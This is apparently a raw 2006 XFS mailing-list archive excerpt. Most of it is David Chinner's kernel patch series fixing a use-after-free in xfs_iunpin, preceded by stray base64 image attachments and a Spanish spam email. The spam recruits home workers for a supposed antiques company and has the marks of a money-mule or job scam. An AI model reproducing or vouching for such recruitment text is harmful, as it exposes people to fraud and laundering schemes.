/t/mI2afvVuqjPyMzLQjP1DF0dWO8a/FKkdXwEb0ZbxaVJW4f2sm29K8rKvc LFuVLkd660KfLrXctWdJUfpZnXe8TN0uuWGo1T0KQ9atLSLrVia7TmdDXNrj 1MeCW2qyXzRGkX+32vdvwj8avyNMNyB5qAVBl2FftuH0+ZibkHF8r3RvhL3P t/u/u211eK4kZrJzQQdHUlnGjoyJ234BZTCxlKOlCS7ffLyoW296Di3ixmk2 c7JHfnrwgswVx66LiVr+JK3WXqjxH1vFhDYluRSg67UNyYx11+mTSNJ2PGpW 9L5R+4qxcOWTc5Y7J6vgbO1bVqKhHRRVDTn7ewAAoAAAWZnbLd/qj0T/AEM7 fwb2O+pacVqjanmW3h57EZuMFRN12Y0x8iKXVLYsZe/+kUr1fh9iXDycvOtL bqfwOrHv5nqXtW/1ZYwP+X+O43NH9Q2LELEVCCoiYADQAAA//9k= ------=_NextPart_000_0000_2F4B841F.9BB707AE Content-Type: image/jpg; name="nnu.jpg" Content-Transfer-Encoding: base64 Content-ID: <3780c7fd26fc$70516a47$a5eca104@barco.com> /9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAAAAA/+4ADkFk b2JlAGTAAAAAAf/bAIQAGxoaKR0pQSYmQUIvLy9CRz8+Pj9HR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHRwEdKSk0JjQ/KCg/ Rz81P0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dH/8AAEQgAYQBTAwEiAAIRAQMRAf/EAHkAAAIDAQEAAAAAAAAA AAAAAAAFAQQGAwIBAQEBAQEAAAAAAAAAAAAAAAABAgMEEAACAQMDAQYEBQUA AAAAAAAAAQIRAwQhMRIFQVFhIkITcYGx0ZGhMlIUwWJysqMRAQEAAwEAAwAA AAAAAAAAAAABETECIYESMv/aAAwDAQACEQMRAD8A0wAAAAEAL+oZUrEVw3kz th33ft8pbp0Yqzb3uZCh6V2HTAuu3cdtmc+qdkkEmkAAAAAAAABwyMiGPHnN 6fUDs2kqvQXX+qWbWifJ+Agy+oXMl0Wke77lLg3uGLViV/lcdx9/ae7eRxn7 n5FT20dbGK78uMXTvMp8tHa6tbn+pOIxt3YXFWLqjPS6ZFLySfLxKFrInZlS tJRZZVueW0JFuHnq/wCWWkvqMStS5SAAFeJzUIuT0SMfmZUsq429I9i8Bx1m +4wVpbz3+AgS0Ix1RShIAHNDO+LkKxOstnocCKV0CzbRzybcI866dniZq6/c k5rt1HF/HX8aMf26inYkdeqLN1xaaeqNfh5Pv26+pbmMkqOqG/S7/C4k9paf Y0xqtOAAHRmOryrfp+2KFxf6qqZL/wAUUCOXQAvWcZSVWWP4se4mVnFpQe1a lpo9RisSL1SC/OcpwglSIy1OMbd71utnjXVIRv8AM0k0+O5nZ1UnXepIvenN qqOuPLi0/E8Hq3uacrptOf8ArUDjR/8AMA6lPWrbUo3OzYTpmtzcf37Tit90 ZHVOj3W4c+jyzJOKod0xRhOTbVfLFFmeV7bo18+w5vRL4Y1Rzmo0r3HOTko1 puqlWw3f1np4EVfUuUKiLJ/W1QftKKothRlw5SqtzUY69igWMW27lyMV2s4U q6D3pOPvde20f6m3Dfh3RASBXUCPqXT3J+7bWvqXePSAWZZDGvqCcZIuJxls xhldMhe80fLIUz6fkWnWK5fAzYsuNrjdaf2nmK47FJK/besZHp3r79LM4X7R eldYuv3+WkPxJWNkX91L6DHH6Rs7r+S+5ZGL1n8l+HhyyJU9K3ZqYQUEox0S CFuMFxiqJHo2SYSAAGgQAAQwAAgAAAGSAAAAAEgABX//2Q== ------=_NextPart_000_0000_2F4B841F.9BB707AE Content-Type: image/gif; name="krja.gif" Content-Transfer-Encoding: base64 Content-ID: <3b94f87e8b9a$b3385d85$26875de5@barco.com> R0lGODlhqwASAIAAAP///wAAACH5BAAAAAAALAAAAACrABIAAAL/hI+py+0P o5y02ouz3rz7D4bieAXmGWwps44ngrYmO8PtcsfwcRvv7uPpcJ4eUCTjKVbG ZBBgVEqX0yf0GL0SO1ktEtjLJcTiZZkKPXu1tXGjmRu6ialwudbuBptHen9f BbaWxbRmtSXldBi4N+OU9ChRlyb4lmjZOHdYF/ZnqDm4iTgV+TTppZdYKPRm 5yCzKsoaGpgahyLriVrLpBhBaPp6yUJsqBa7aKurtmil6Aj4iemnhLtD9iPN BnoHql3VzRj17BzsiwZOm85MWpk+/C7szty1+mgfXIwF356PWPoHHzcIcGbl 0yPHx6l74oZkU0jD1bQ05z7lQfeNhD6NFRw7egyR6qPIkSS9lTyJMqXKlRoL AAA7 ------=_NextPart_000_0000_2F4B841F.9BB707AE-- From owner-xfs@oss.sgi.com Mon Oct 23 21:24:21 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 23 Oct 2006 21:24:53 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9O4OLaG025344; Mon, 23 Oct 2006 21:24:21 -0700 X-ASG-Debug-ID: 1161659749-16047-817-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from SUN (unknown [58.241.72.68]) by cuda.sgi.com (Spam Firewall) with ESMTP id EA827D1A2AD9; Mon, 23 Oct 2006 20:15:50 -0700 (PDT) Message-ID: <68321882354465.1F8536B102@XN5P76D> From: "Darius Kane" <969romeo@dig.com> To: X-ASG-Orig-Subj: Trabajo de Medio tiempo disponible Subject: Trabajo de Medio tiempo disponible Date: Tue, 24 Oct 2006 11:12:24 +0800 MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Thread-Index: dB54c4BZeDUIRJvappdFrTUNvgiH3umzqUcY Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23941 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9403 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: 969romeo@dig.com Precedence: bulk X-list: xfs Status: O Estamos buscando gente responsable, hombres honestos interesadose n un trabajo bien pago utilizando solo unas pocas horas al dia.. Por largo tiempo “Tollis Ldt” ha sido una compania familiar especializados en varias operaciones con joyas antiguas y antiguedades en general. Esta compania esta buscando gente responsable para ser parte de su proyecto. No te pierdas esta oportunidad – Es exacto lo que estabas buscando! Ganar mas de $1500 al mes suena bien? Utilizando solo 3- 4horas por dia suena mejor? Bueno…con “ Tollis Ltd” es posible! Esta no es una compania que hara que pauges un cargo de inscripcion o te inscribira en una lista de correo. Esta compania no te pedira ningun dinero, te hara ganar dinero!. Este negocio tomara solo unos momentos de tu tiempo. Se te pagara la primera semana comoe mpleado. No requerimosn inguna experiencia o habilidad especial. Puedes trabajar desde tu casa como un contratado independiente. Si estas interesado, por favor sientete libre de pedir ifnormacion adicional y las provisiones generales. Escribenos ahora, te respondreemos lo antes posible. Por favor responde a este mail: support@t-antiques.com From owner-xfs@oss.sgi.com Tue Oct 24 00:16:30 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 00:16:36 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9O7GQaG030482 for ; Tue, 24 Oct 2006 00:16:28 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA28014; Tue, 24 Oct 2006 17:15:39 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9O7Fa7Y15175717; Tue, 24 Oct 2006 17:15:36 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9O7FXJe15160864; Tue, 24 Oct 2006 17:15:33 +1000 (AEST) Date: Tue, 24 Oct 2006 17:15:33 +1000 From: David Chinner To: xfs@oss.sgi.com Cc: t-nagano@ah.jp.nec.com, xfs-dev@sgi.com Subject: [REVIEW 0 of 4] Fix xfs_iunpin use after free badness Message-ID: <20061024071533.GQ11034@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-archive-position: 9404 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O The following 4 patches fix the long standing issues with xfs_iunpin accessing the linux inode after it has been freed. The first patch cleans up the i_flags_lock handling and the setting and clearing of the i_flags. This has been posted before in a different context, and is simply a cleanup patch. The second patch removes the need for grabbing the linux inode in xfs_iunpin(). This causes deadlocks when the xfslogd drops the final reference to an inode and needs to issue a transaction when the log is full. We can do this by providing a guarantee external to xfs_iunpin() that when either of the XFS_IRECLAIM or XFS_IRECLAIMABLE flags are set on the xfs inode there is no linux inode to look up. The third patch fixes the xfs_iget_core() handling of the XFS_IRECLAIMABLE flag so it doesn't violate the guarantee we need to provide to xfs_iunpin() w.r.t. the existence of a linux inode. The last patch closes a race condition in xfs_iunpin() as we need to guarantee the atomicity of the last unpin and the checking of the XFS_IRECLAIM* flags otherwise pre-emption or interrupt can cause us to race with xfs_iget_core() which would now see the inode as unpinned and hence clear the XFS_IRECLAIMABLE flag. Many thanks go to Takenori Nagano for his help in getting to the bottom of this issue and the testing that he has done. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Tue Oct 24 00:18:17 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 00:18:23 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9O7ICaG031089 for ; Tue, 24 Oct 2006 00:18:14 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA28203; Tue, 24 Oct 2006 17:17:27 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9O7HP7Y15175616; Tue, 24 Oct 2006 17:17:25 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9O7HNjw15172061; Tue, 24 Oct 2006 17:17:23 +1000 (AEST) Date: Tue, 24 Oct 2006 17:17:23 +1000 From: David Chinner To: xfs@oss.sgi.com Cc: t-nagano@ah.jp.nec.com, xfs-dev@sgi.com Subject: [REVIEW 1 of 4] Clean up i_flags handling Message-ID: <20061024071723.GR11034@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-archive-position: 9405 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O -- Dave Chinner Principal Engineer SGI Australian Software Group Clean up new iflags locking and flags handling. --- fs/xfs/linux-2.6/xfs_super.c | 4 +--- fs/xfs/xfs_iget.c | 20 ++++++-------------- fs/xfs/xfs_inode.c | 17 +++++------------ fs/xfs/xfs_inode.h | 41 +++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_vnodeops.c | 10 ++++------ 5 files changed, 57 insertions(+), 35 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_super.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_super.c 2006-10-19 10:22:12.769108692 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_super.c 2006-10-19 10:25:07.330516048 +1000 @@ -227,9 +227,7 @@ xfs_initialize_vnode( xfs_revalidate_inode(XFS_BHVTOM(bdp), vp, ip); xfs_set_inodeops(inode); - spin_lock(&ip->i_flags_lock); - ip->i_flags &= ~XFS_INEW; - spin_unlock(&ip->i_flags_lock); + xfs_iflags_clear(ip, XFS_INEW); barrier(); unlock_new_inode(inode); Index: 2.6.x-xfs-new/fs/xfs/xfs_iget.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_iget.c 2006-10-19 10:22:12.769108692 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_iget.c 2006-10-19 10:25:07.330516048 +1000 @@ -215,7 +215,7 @@ again: * If INEW is set this inode is being set up * we need to pause and try again. */ - if (ip->i_flags & XFS_INEW) { + if (xfs_iflags_test(ip, XFS_INEW)) { read_unlock(&ih->ih_lock); delay(1); XFS_STATS_INC(xs_ig_frecycle); @@ -230,7 +230,7 @@ again: * on its way out of the system, * we need to pause and try again. */ - if (ip->i_flags & XFS_IRECLAIM) { + if (xfs_iflags_test(ip, XFS_IRECLAIM)) { read_unlock(&ih->ih_lock); delay(1); XFS_STATS_INC(xs_ig_frecycle); @@ -243,9 +243,7 @@ again: XFS_STATS_INC(xs_ig_found); - spin_lock(&ip->i_flags_lock); - ip->i_flags &= ~XFS_IRECLAIMABLE; - spin_unlock(&ip->i_flags_lock); + xfs_iflags_clear(ip, XFS_IRECLAIMABLE); version = ih->ih_version; read_unlock(&ih->ih_lock); xfs_ihash_promote(ih, ip, version); @@ -299,10 +297,7 @@ finish_inode: if (lock_flags != 0) xfs_ilock(ip, lock_flags); - spin_lock(&ip->i_flags_lock); - ip->i_flags &= ~XFS_ISTALE; - spin_unlock(&ip->i_flags_lock); - + xfs_iflags_clear(ip, XFS_ISTALE); vn_trace_exit(vp, "xfs_iget.found", (inst_t *)__return_address); goto return_ip; @@ -371,10 +366,7 @@ finish_inode: ih->ih_next = ip; ip->i_udquot = ip->i_gdquot = NULL; ih->ih_version++; - spin_lock(&ip->i_flags_lock); - ip->i_flags |= XFS_INEW; - spin_unlock(&ip->i_flags_lock); - + xfs_iflags_set(ip, XFS_INEW); write_unlock(&ih->ih_lock); /* @@ -625,7 +617,7 @@ xfs_iput_new(xfs_inode_t *ip, vn_trace_entry(vp, "xfs_iput_new", (inst_t *)__return_address); if ((ip->i_d.di_mode == 0)) { - ASSERT(!(ip->i_flags & XFS_IRECLAIMABLE)); + ASSERT(!xfs_iflags_test(ip, XFS_IRECLAIMABLE)); vn_mark_bad(vp); } if (inode->i_state & I_NEW) Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-10-19 10:22:12.769108692 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-10-19 10:25:07.334515530 +1000 @@ -2193,7 +2193,7 @@ xfs_ifree_cluster( /* Inode not in memory or we found it already, * nothing to do */ - if (!ip || (ip->i_flags & XFS_ISTALE)) { + if (!ip || xfs_iflags_test(ip, XFS_ISTALE)) { read_unlock(&ih->ih_lock); continue; } @@ -2215,10 +2215,7 @@ xfs_ifree_cluster( if (ip == free_ip) { if (xfs_iflock_nowait(ip)) { - spin_lock(&ip->i_flags_lock); - ip->i_flags |= XFS_ISTALE; - spin_unlock(&ip->i_flags_lock); - + xfs_iflags_set(ip, XFS_ISTALE); if (xfs_inode_clean(ip)) { xfs_ifunlock(ip); } else { @@ -2231,9 +2228,7 @@ xfs_ifree_cluster( if (xfs_ilock_nowait(ip, XFS_ILOCK_EXCL)) { if (xfs_iflock_nowait(ip)) { - spin_lock(&ip->i_flags_lock); - ip->i_flags |= XFS_ISTALE; - spin_unlock(&ip->i_flags_lock); + xfs_iflags_set(ip, XFS_ISTALE); if (xfs_inode_clean(ip)) { xfs_ifunlock(ip); @@ -2263,9 +2258,7 @@ xfs_ifree_cluster( AIL_LOCK(mp,s); iip->ili_flush_lsn = iip->ili_item.li_lsn; AIL_UNLOCK(mp, s); - spin_lock(&iip->ili_inode->i_flags_lock); - iip->ili_inode->i_flags |= XFS_ISTALE; - spin_unlock(&iip->ili_inode->i_flags_lock); + xfs_iflags_set(ip, XFS_ISTALE); pre_flushed++; } lip = lip->li_bio_list; @@ -2764,7 +2757,7 @@ xfs_iunpin( struct inode *inode = NULL; spin_lock(&ip->i_flags_lock); - if (!(ip->i_flags & (XFS_IRECLAIM|XFS_IRECLAIMABLE))) { + if (!__xfs_iflags_test(ip, XFS_IRECLAIM|XFS_IRECLAIMABLE)) { bhv_vnode_t *vp = XFS_ITOV_NULL(ip); /* make sync come back and flush this inode */ Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.h 2006-10-19 10:22:12.769108692 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.h 2006-10-19 10:25:07.334515530 +1000 @@ -305,6 +305,47 @@ typedef struct xfs_inode { #endif } xfs_inode_t; + +/* + * i_flags helper functions + */ +static inline void +__xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) +{ + ip->i_flags |= flags; +} + +static inline void +xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) +{ + spin_lock(&ip->i_flags_lock); + __xfs_iflags_set(ip, flags); + spin_unlock(&ip->i_flags_lock); +} + +static inline void +xfs_iflags_clear(xfs_inode_t *ip, unsigned short flags) +{ + spin_lock(&ip->i_flags_lock); + ip->i_flags &= ~flags; + spin_unlock(&ip->i_flags_lock); +} + +static inline int +__xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) +{ + return (ip->i_flags & flags); +} + +static inline int +xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) +{ + int ret; + spin_lock(&ip->i_flags_lock); + ret = __xfs_iflags_test(ip, flags); + spin_unlock(&ip->i_flags_lock); + return ret; +} #endif /* __KERNEL__ */ Index: 2.6.x-xfs-new/fs/xfs/xfs_vnodeops.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_vnodeops.c 2006-10-19 10:22:12.769108692 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_vnodeops.c 2006-10-19 10:25:07.338515013 +1000 @@ -3844,9 +3844,7 @@ xfs_reclaim( XFS_MOUNT_ILOCK(mp); vn_bhv_remove(VN_BHV_HEAD(vp), XFS_ITOBHV(ip)); list_add_tail(&ip->i_reclaim, &mp->m_del_inodes); - spin_lock(&ip->i_flags_lock); - ip->i_flags |= XFS_IRECLAIMABLE; - spin_unlock(&ip->i_flags_lock); + xfs_iflags_set(ip, XFS_IRECLAIMABLE); XFS_MOUNT_IUNLOCK(mp); } return 0; @@ -3872,8 +3870,8 @@ xfs_finish_reclaim( */ write_lock(&ih->ih_lock); spin_lock(&ip->i_flags_lock); - if ((ip->i_flags & XFS_IRECLAIM) || - (!(ip->i_flags & XFS_IRECLAIMABLE) && vp == NULL)) { + if (__xfs_iflags_test(ip, XFS_IRECLAIM) || + (!__xfs_iflags_test(ip, XFS_IRECLAIMABLE) && vp == NULL)) { spin_unlock(&ip->i_flags_lock); write_unlock(&ih->ih_lock); if (locked) { @@ -3882,7 +3880,7 @@ xfs_finish_reclaim( } return 1; } - ip->i_flags |= XFS_IRECLAIM; + __xfs_iflags_set(ip, XFS_IRECLAIM); spin_unlock(&ip->i_flags_lock); write_unlock(&ih->ih_lock); From owner-xfs@oss.sgi.com Tue Oct 24 00:20:00 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 00:20:07 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9O7JuaG003698 for ; Tue, 24 Oct 2006 00:19:58 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA28264; Tue, 24 Oct 2006 17:19:12 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9O7JA7Y15176609; Tue, 24 Oct 2006 17:19:10 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9O7J8bJ14296530; Tue, 24 Oct 2006 17:19:08 +1000 (AEST) Date: Tue, 24 Oct 2006 17:19:08 +1000 From: David Chinner To: xfs@oss.sgi.com Cc: t-nagano@ah.jp.nec.com, xfs-dev@sgi.com Subject: [REVIEW 2 of 4] Remove igrab from xfs_iunpin Message-ID: <20061024071908.GS11034@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-archive-position: 9406 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O -- Dave Chinner Principal Engineer SGI Australian Software Group Remove the need for grabbing the linux inode in xfs_iunpin(). This causes deadlocks when the xfslogd drops the final reference to an inode and needs to issue a transaction when the log is full. We can do this by providing a guarantee external to xfs_iunpin() that when either of the XFS_IRECLAIM or XFS_IRECLAIMABLE flags are set on the xfs inode there is no linux inode to look up. --- fs/xfs/xfs_inode.c | 44 +++++++++++++++++++++----------------------- fs/xfs/xfs_vnodeops.c | 21 ++++++++++++++------- 2 files changed, 35 insertions(+), 30 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-10-19 10:25:07.334515530 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-10-19 10:26:01.983441994 +1000 @@ -2742,41 +2742,39 @@ xfs_iunpin( ASSERT(atomic_read(&ip->i_pincount) > 0); if (atomic_dec_and_test(&ip->i_pincount)) { + /* - * If the inode is currently being reclaimed, the - * linux inode _and_ the xfs vnode may have been - * freed so we cannot reference either of them safely. - * Hence we should not try to do anything to them - * if the xfs inode is currently in the reclaim - * path. + * If the inode is currently being reclaimed, the link between + * the bhv_vnode and the xfs_inode will be broken after the + * XFS_IRECLAIM* flag is set. Hence, if these flags are not + * set, then we can move forward and mark the linux inode dirty + * knowing that it is still valid as it won't freed until after + * the bhv_vnode<->xfs_inode link is broken in xfs_reclaim. The + * i_flags_lock is used to synchronise the setting of the + * XFS_IRECLAIM* flags and the breaking of the link, and so we + * can execute atomically w.r.t to reclaim by holding this lock + * here. * - * However, we still need to issue the unpin wakeup - * call as the inode reclaim may be blocked waiting for - * the inode to become unpinned. + * However, we still need to issue the unpin wakeup call as the + * inode reclaim may be blocked waiting for the inode to become + * unpinned. */ - struct inode *inode = NULL; spin_lock(&ip->i_flags_lock); if (!__xfs_iflags_test(ip, XFS_IRECLAIM|XFS_IRECLAIMABLE)) { bhv_vnode_t *vp = XFS_ITOV_NULL(ip); + struct inode *inode = NULL; - /* make sync come back and flush this inode */ - if (vp) { - inode = vn_to_inode(vp); + BUG_ON(vp == NULL); + inode = vn_to_inode(vp); + BUG_ON(inode->i_state & I_CLEAR); - if (!(inode->i_state & - (I_NEW|I_FREEING|I_CLEAR))) { - inode = igrab(inode); - if (inode) - mark_inode_dirty_sync(inode); - } else - inode = NULL; - } + /* make sync come back and flush this inode */ + if (!(inode->i_state & (I_NEW|I_FREEING))) + mark_inode_dirty_sync(inode); } spin_unlock(&ip->i_flags_lock); wake_up(&ip->i_ipin_wait); - if (inode) - iput(inode); } } Index: 2.6.x-xfs-new/fs/xfs/xfs_vnodeops.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_vnodeops.c 2006-10-19 10:25:07.338515013 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_vnodeops.c 2006-10-19 10:25:17.957140602 +1000 @@ -3827,11 +3827,16 @@ xfs_reclaim( */ xfs_synchronize_atime(ip); - /* If we have nothing to flush with this inode then complete the - * teardown now, otherwise break the link between the xfs inode - * and the linux inode and clean up the xfs inode later. This - * avoids flushing the inode to disk during the delete operation - * itself. + /* + * If we have nothing to flush with this inode then complete the + * teardown now, otherwise break the link between the xfs inode and the + * linux inode and clean up the xfs inode later. This avoids flushing + * the inode to disk during the delete operation itself. + * + * When breaking the link, we need to set the XFS_IRECLAIMABLE flag + * first to ensure that xfs_iunpin() will never see an xfs inode + * that has a linux inode being reclaimed. Synchronisation is provided + * by the i_flags_lock. */ if (!ip->i_update_core && (ip->i_itemp == NULL)) { xfs_ilock(ip, XFS_ILOCK_EXCL); @@ -3840,11 +3845,13 @@ xfs_reclaim( } else { xfs_mount_t *mp = ip->i_mount; - /* Protect sync from us */ + /* Protect sync and unpin from us */ XFS_MOUNT_ILOCK(mp); + spin_lock(&ip->i_flags_lock); + __xfs_iflags_set(ip, XFS_IRECLAIMABLE); vn_bhv_remove(VN_BHV_HEAD(vp), XFS_ITOBHV(ip)); + spin_unlock(&ip->i_flags_lock); list_add_tail(&ip->i_reclaim, &mp->m_del_inodes); - xfs_iflags_set(ip, XFS_IRECLAIMABLE); XFS_MOUNT_IUNLOCK(mp); } return 0; From owner-xfs@oss.sgi.com Tue Oct 24 00:21:47 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 00:21:53 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9O7LhaG004610 for ; Tue, 24 Oct 2006 00:21:45 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA28336; Tue, 24 Oct 2006 17:20:59 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9O7Ku7Y15177611; Tue, 24 Oct 2006 17:20:57 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9O7Kscb15159129; Tue, 24 Oct 2006 17:20:54 +1000 (AEST) Date: Tue, 24 Oct 2006 17:20:54 +1000 From: David Chinner To: xfs@oss.sgi.com Cc: t-nagano@ah.jp.nec.com, xfs-dev@sgi.com Subject: [REVIEW 3 of 4] Fix recalim handling in xfs_iget_core Message-ID: <20061024072054.GT11034@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-archive-position: 9407 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O -- Dave Chinner Principal Engineer SGI Australian Software Group Fix the xfs_iget_core() handling of the XFS_IRECLAIMABLE flag so it doesn't violate the guarantee we need to provide to xfs_iunpin() w.r.t. the existence of a linux inode. --- fs/xfs/xfs_iget.c | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) Index: 2.6.x-xfs-new/fs/xfs/xfs_iget.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_iget.c 2006-10-19 10:25:07.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_iget.c 2006-10-19 10:29:26.460972850 +1000 @@ -238,6 +238,34 @@ again: goto again; } + /* + * If IRECLAIMABLE is set on this inode and lookup is + * racing with unlink, then we should return an error + * immediately so we don't remove it from the reclaim + * list and potentially leak the inode. + * + * Also, there may be transactions sitting in the + * incore log buffers or being flushed to disk at this + * time. We can't clear the XFS_IRECLAIMABLE flag + * until these transactions have hit the disk, + * otherwise we will void the guarantee the flag + * provides xfs_iunpin() + */ + if (xfs_iflags_test(ip, XFS_IRECLAIMABLE)) { + if ((ip->i_d.di_mode == 0) && + !(flags & XFS_IGET_CREATE)) { + read_unlock(&ih->ih_lock); + return ENOENT; + } + if (xfs_ipincount(ip)) { + read_unlock(&ih->ih_lock); + xfs_log_force(mp, 0, + XFS_LOG_FORCE|XFS_LOG_SYNC); + XFS_STATS_INC(xs_ig_frecycle); + goto again; + } + } + vn_trace_exit(vp, "xfs_iget.alloc", (inst_t *)__return_address); From owner-xfs@oss.sgi.com Tue Oct 24 00:23:07 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 00:23:17 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9O7N3aG005321 for ; Tue, 24 Oct 2006 00:23:05 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA28385; Tue, 24 Oct 2006 17:22:18 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com 